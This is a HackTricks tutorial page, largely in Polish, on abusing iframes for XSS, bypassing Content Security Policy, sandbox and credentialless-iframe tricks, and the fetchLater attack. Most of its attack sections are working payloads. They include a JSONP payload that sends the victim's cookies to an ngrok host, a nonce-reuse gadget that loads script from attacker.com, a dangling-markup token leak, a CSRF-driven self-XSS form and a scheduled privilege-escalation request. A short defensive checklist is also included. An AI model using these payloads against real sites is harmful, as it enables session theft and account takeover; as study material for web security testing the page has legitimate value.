Iframes w XSS, CSP i SOP

Tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Przeglądaj pełny katalog HackTricks Training dla ścieżek assessment (ARTA/GRTA/AzRTA) oraz Linux Hacking Expert (LHE).

Wsparcie HackTricks

Iframes w XSS

Istnieją 3 sposoby określenia zawartości strony osadzonej w iframe:

  • Przez src wskazujące URL (URL może być cross origin lub same origin)
  • Przez src wskazujące zawartość używając protokołu data:
  • Przez srcdoc wskazujące zawartość

Dostęp do zmiennych parent i child

<html>
<script>
var secret = "31337s3cr37t"
</script>

<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>

<script>
function access_children_vars() {
alert(if1.secret)
alert(if2.secret)
alert(if3.secret)
alert(if4.secret)
}
setTimeout(access_children_vars, 3000)
</script>
</html>
<!-- content of child.html -->
<script>
var secret = "child secret"
alert(parent.secret)
</script>

If you access the previous html via a http server (like python3 -m http.server) you will notice that all the scripts will be executed (as there is no CSP preventing it)., rodzic nie będzie w stanie uzyskać dostępu do zmiennej secret wewnątrz żadnego iframe i tylko iframes if2 & if3 (które są uważane za same-site) mogą uzyskać dostęp do secret w oryginalnym oknie.
Zwróć uwagę, że if4 jest uważany za mający pochodzenie null.

srcdoc quirks that matter in real exploits

Two details around srcdoc are easy to miss during exploitation:

  • Unless the frame is sandboxed without allow-same-origin, a srcdoc document is same-origin with the parent. Therefore, injecting attacker-controlled HTML into srcdoc is usually equivalent to giving it direct DOM access to the top document.
  • Even though the document URL is about:srcdoc, relative URLs are resolved using the embedding page URL as the base URL. This means payloads such as <script src="/upload/payload.js"></script> or <img src="/internal/debug"> will target the parent origin, not about:srcdoc.

Practical payload:

<iframe
srcdoc='<script src="/uploads/payload.js"></script><a href="#test">anchor</a>'></iframe>

This is specially useful when you only control markup but know a same-origin path that returns attacker-controlled JavaScript, JSONP, or HTML without a restrictive CSP.

Iframe’y z CSP

Tip

Zwróć uwagę, że w poniższych obejściach odpowiedź na iframowaną stronę nie zawiera żadnego nagłówka CSP, który uniemożliwiałby wykonanie JS.

The self value of script-src won’t allow the execution of the JS code using the data: protocol or the srcdoc attribute.
However, even the none value of the CSP will allow the execution of the iframes that put a URL (complete or just the path) in the src attribute.
Therefore it’s possible to bypass the CSP of a page with:

<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
</head>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>

Zauważ, że poprzedni CSP zezwala tylko na wykonanie inline script.
Jednak wykonane zostaną tylko skrypty if1 i if2, ale tylko if1 będzie w stanie uzyskać dostęp do sekretu rodzica.

W związku z tym możliwe jest obejście CSP, jeśli możesz przesłać plik JS na serwer i załadować go przez iframe nawet przy script-src 'none'. Może to potencjalnie zostać także wykonane przez nadużycie same-site JSONP endpoint.

Możesz to przetestować w następującym scenariuszu, gdzie cookie zostaje skradzione nawet przy script-src 'none'. Po prostu uruchom aplikację i otwórz ją w przeglądarce:

import flask
from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp

@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"

if __name__ == "__main__":
app.run()

Nowe (2023–2025) techniki omijania CSP za pomocą iframe’ów

Społeczność badawcza nadal odkrywa kreatywne sposoby wykorzystywania iframe’ów do obejścia restrykcyjnych polityk. Poniżej znajdują się najważniejsze techniki opublikowane w ciągu ostatnich kilku lat:

  • Dangling-markup / named-iframe data-exfiltration (PortSwigger 2023) – Kiedy aplikacja odzwierciedla HTML, ale silny CSP blokuje wykonywanie skryptów, nadal można leakować wrażliwe tokeny przez wstrzyknięcie dangling atrybutu <iframe name>. Gdy częściowy markup zostanie sparsowany, skrypt atakującego uruchomiony z innego originu nawiguję ramkę do about:blank i odczytuje window.name, które teraz zawiera wszystko aż do następnego znaku cudzysłowu (np. token CSRF). Ponieważ w kontekście ofiary nie wykonuje się żaden JavaScript, atak zwykle omija script-src 'none'. Minimalny PoC wygląda tak:
<!-- Injection point just before a sensitive <script> -->
<iframe name="//attacker.com/?">  <!-- attribute intentionally left open -->
// attacker.com frame
const victim = window.frames[0];
victim.location = 'about:blank';
console.log(victim.name); // → leaked value
  • Nonce reuse via same-origin iframe – CSP nonces są czytelne z DOM przez dokumenty same-origin. Jeśli atakujący może wstrzyknąć lub przesłać same-origin stronę HTML i załadować ją w iframe, ramka potomna może odczytać top.document.querySelector('[nonce]').nonce i utworzyć nowe elementy <script nonce>. To zamienia same-origin HTML injection w pełne wykonanie skryptu nawet przy strict-dynamic (ponieważ nonce jest już zaufany). Poniższy gadget eskaluje markup injection do XSS:
const n = top.document.querySelector('[nonce]').nonce;
const s = top.document.createElement('script');
s.src = '//attacker.com/pwn.js';
s.nonce = n;
top.document.body.appendChild(s);
  • Form-action hijacking (PortSwigger 2024) – Strona, która pomija dyrektywę form-action, może mieć swój formularz logowania re-targeted z wstrzykniętego iframe’a lub inline HTML tak, że menedżery haseł automatycznie wypełnią i prześlą poświadczenia do zewnętrznej domeny, nawet jeśli obecne jest script-src 'none'. Zawsze uzupełniaj default-src o form-action!

Wskazówki obronne (szybka lista kontrolna)

  1. Zawsze wysyłaj wszystkie dyrektywy CSP, które kontrolują konteksty drugorzędne (form-action, frame-src, child-src, object-src, itd.).
  2. Nie polegaj na tym, że nonces są tajne — używaj strict-dynamic i eliminuj punkty wstrzyknięć.
  3. Gdy musisz osadzać niezaufane dokumenty, używaj sandbox="allow-scripts allow-same-origin" bardzo ostrożnie (lub bez allow-same-origin, jeśli potrzebujesz jedynie izolacji wykonywania skryptów).
  4. Rozważ podejście defense-in-depth z COOP+COEP; nowy atrybut <iframe credentialless> (§ poniżej) pozwala to zrobić bez psucia osadzonych treści stron trzecich.

Inne Payloads znalezione in the wild

<!-- This one requires the data: scheme to be allowed -->
<iframe
srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='
<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe
src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

Piaskownica iframe

Zawartość wewnątrz iframe może być poddana dodatkowym ograniczeniom za pomocą atrybutu sandbox. Domyślnie ten atrybut nie jest stosowany, co oznacza, że nie ma żadnych ograniczeń.

Po użyciu atrybut sandbox narzuca kilka ograniczeń:

  • Zawartość traktowana jest tak, jakby pochodziła z unikatowego źródła.
  • Wszelkie próby wysyłania formularzy są blokowane.
  • Wykonywanie skryptów jest zabronione.
  • Dostęp do niektórych API jest wyłączony.
  • Zapobiega interakcji linków z innymi kontekstami przeglądania.
  • Używanie wtyczek poprzez <embed>, <object>, <applet> lub podobne tagi jest zabronione.
  • Zawartość nie może nawigować po najwyższym kontekście przeglądania.
  • Funkcje uruchamiane automatycznie, takie jak odtwarzanie wideo czy automatyczne fokusowanie pól formularzy, są blokowane.

Wskazówka: Nowoczesne przeglądarki obsługują szczegółowe flagi, takie jak allow-scripts, allow-same-origin, allow-top-navigation-by-user-activation, allow-downloads-without-user-activation itp. Łącz je, aby przyznać tylko minimalne możliwości wymagane przez osadzoną aplikację.

Wartość atrybutu może pozostać pusta (sandbox=""), aby zastosować wszystkie wymienione ograniczenia. Alternatywnie można ustawić ją jako listę wartości oddzielonych spacjami, które zwalniają iframe z wybranych ograniczeń.

<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>

Jeśli osadzona strona jest same-origin i przyznasz jednocześnie allow-scripts i allow-same-origin, sandbox staje się bardzo słabą granicą. Strona potomna może wykonywać JavaScript, uzyskiwać dostęp do top.document, a nawet usunąć atrybut sandbox ze swojego własnego elementu <iframe>:

const me = top.document.querySelector("iframe")
me.removeAttribute("sandbox")
top.location = "/admin"

In practice, sandbox="allow-scripts allow-same-origin" powinno być traktowane jako unsafe for attacker-influenced same-origin content. Nadal jest przydatne dla niektórych third-party embeds, ale nie stanowi granicy izolacji przed wrogim same-origin HTML.

Credentialless iframes

As explained in this article, the credentialless flag in an iframe is used to load a page inside an iframe without sending credentials in the request while maintaining the same origin policy (SOP) of the loaded page in the iframe.

Since Chrome 110 (February 2023) the feature is enabled by default and the spec is being standardized across browsers under the name anonymous iframe. MDN describes it as: “a mechanism to load third-party iframes in a brand-new, ephemeral storage partition so that no cookies, localStorage or IndexedDB are shared with the real origin”. Consequences for attackers and defenders:

  • Scripts in different credentialless iframes still share the same top-level origin and can freely interact via the DOM, making multi-iframe self-XSS attacks feasible (see PoC below).
  • Because the network is credential-stripped, any request inside the iframe effectively behaves as an unauthenticated session – CSRF protected endpoints usually fail, but public pages leakable via DOM are still in scope.
  • Storage is partitioned by a top-level document nonce: credentialless frames on the same page can share storage with each other, but it is cleared when the top-level document is discarded.
  • Pop-ups spawned from a credentialless iframe get an implicit rel="noopener", breaking some OAuth flows.
  • Browsers are expected to disable autofill/password managers inside credentialless iframes, limiting credential theft via autofill in these contexts.
// PoC: two same-origin credentialless iframes stealing cookies set by a third
window.top[1].document.cookie = 'foo=bar';            // write
alert(window.top[2].document.cookie);                 // read -> foo=bar
  • Exploit example: Self-XSS + CSRF

W tym ataku atakujący przygotowuje złośliwą stronę z 2 iframes:

  • An iframe that loads the victim’s page with the credentialless flag with a CSRF that triggers a XSS (Imagin a Self-XSS in the username of the user):
<html>
<body>
<form action="http://victim.domain/login" method="POST">
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
<input type="hidden" name="password" value="Super_s@fe_password" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
  • Another iframe that actually has the user logged in (without the credentialless flag).

Następnie, z poziomu XSS można uzyskać dostęp do drugiego iframe, ponieważ mają tę samą SOP i na przykład ukraść cookie wykonując:

alert(window.top[1].document.cookie);

fetchLater Attack

Jak wskazano w tym artykule, API fetchLater pozwala na skonfigurowanie żądania, które zostanie wykonane później. Można to wykorzystać do np. zalogowania ofiary do sesji atakującego (przy Self-XSS), zaplanowania żądania fetchLater (np. w celu zmiany hasła bieżącego użytkownika) oraz wylogowania z sesji atakującego. Gdy ofiara zaloguje się potem do swojej własnej sesji, odroczone żądanie wykona się z użyciem ciasteczek dostępnych w chwili wysłania, zmieniając hasło ofiary na to ustawione przez atakującego.

Uwagi operacyjne:

  • fetchLater entered Chrome origin trial in 2024 and shipped in Chrome 135 (April 2025), so feature-detect before relying on it.
  • The response is not available to JavaScript; body/headers are ignored once the deferred request is sent.
  • Wymuszanie CSP używa connect-src (a nie script-src) dla odroczonych żądań.
  • Żądania są wykonywane przy page unload lub gdy wygaśnie activateAfter (zależnie co nastąpi wcześniej).
  • Maksymalne pojedyncze opóźnienie to obecnie 299000 ms, więc długie oczekiwania wymagają ponownego zaplanowania kilku odroczonych żądań.

Dzięki temu, nawet jeśli adres URL ofiary nie może zostać załadowany w iframe (z powodu CSP lub innych ograniczeń), atakujący i tak może wykonać żądanie w sesji ofiary.

var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
for (let i = 1; i <= 20; i++)
fetchLater(req,{activateAfter: i * 299000})

Iframes in SOP

Sprawdź następujące strony:

Bypassing SOP with Iframes - 1

Bypassing SOP with Iframes - 2

Blocking main page to steal postmessage

Steal postmessage modifying iframe location

Źródła

Tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Przeglądaj pełny katalog HackTricks Training dla ścieżek assessment (ARTA/GRTA/AzRTA) oraz Linux Hacking Expert (LHE).

Wsparcie HackTricks